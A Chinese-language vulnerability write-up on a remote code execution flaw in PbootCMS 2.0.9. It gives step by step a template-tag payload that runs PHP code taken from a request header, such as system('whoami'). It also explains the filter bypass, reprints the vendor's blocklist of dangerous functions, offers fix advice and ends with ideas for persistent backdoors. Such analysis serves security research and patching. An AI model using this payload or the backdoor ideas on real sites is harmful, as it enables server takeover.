PbootCMS任意代码执行
字数 1280 2025-08-25 22:59:02
PbootCMS 任意代码执行漏洞分析与利用
漏洞概述
PbootCMS 在 2.0.9 版本中存在一处任意代码执行漏洞,攻击者可以通过精心构造的请求在前台执行任意 PHP 代码。该漏洞源于对模板标签解析时的安全校验不充分,结合 HTTP 头注入技术实现远程代码执行。
受影响版本
- 测试版本:2.0.9(发布时间 2020-05-05,最新更新时间 2020-06-18)
- 可能影响其他未修复该问题的版本
漏洞利用步骤
1. 环境准备
- 从 GitHub 下载源码:https://github.com/hnaoyun/PbootCMS
- 安装后获取授权码:https://www.pbootcms.com/freesn/
- 登录后台添加授权码
2. 漏洞利用过程
-
后台插入恶意代码:
- 登录后台,在"站点信息"中插入以下代码并保存:
{if:1)$var="assert";$var(getallheaders()['Proxy-Connection']);//}123
- 登录后台,在"站点信息"中插入以下代码并保存:
-
构造恶意请求:
- 访问前台首页,使用 Burp Suite 抓包
- 修改请求头:
- 将
Cookie头设置为assert - 将
Proxy-Connection头设置为要执行的 PHP 代码,例如:system('whoami')
- 将
-
执行结果:
- 服务器将执行
Proxy-Connection头中的 PHP 代码 - 示例中会执行系统命令
whoami并返回结果
- 服务器将执行
技术原理分析
漏洞位置
apps/home/controller/ParserController.php 中的 parserIfLabel 函数存在安全缺陷
安全校验绕过
-
第一处绕过:
- 原始校验使用正则表达式检查函数调用
- 通过在函数名和括号之间插入控制字符(如
\x01)绕过正则检查 - 示例:
assert\x01(...)可以绕过检查但仍能执行
-
第二处绕过:
- 系统对敏感函数进行了过滤:
if (preg_match('/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(print_r)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)/i', $matches[1][$i])) { $danger = true; } - 使用
call_user_func等非过滤函数结合getallheaders()实现代码执行 - 将可控输入转移到请求头中绕过过滤
- 系统对敏感函数进行了过滤:
利用技术
-
PHP 动态特性:
- 使用变量函数调用:
$var = "assert"; $var(...); - 参考 KCon2019 相关议题中的技术
- 使用变量函数调用:
-
HTTP 头注入:
- 利用
getallheaders()获取所有请求头 - 通过数组操作提取特定头部的值作为代码执行
- 利用
-
无参数 RCE:
- 当直接参数传递被限制时,使用环境/请求信息作为输入源
限制条件
- 该利用方法在 Apache 下有效,因为
getallheaders()是 Apache 特有的函数 - Nginx 环境下需要寻找其他替代方法
修复建议
- 严格校验模板标签中的函数调用
- 完善敏感函数过滤列表
- 对用户输入的模板内容进行更严格的过滤
- 更新到最新版本(检查官方是否已修复)
参考链接
扩展思路
- 尝试使用其他 PHP 回调函数如
array_map,array_filter等 - 探索其他获取输入的方法,如
$_SERVER变量 - 结合文件操作函数实现持久化后门
- 研究在 Nginx 环境下的替代利用方法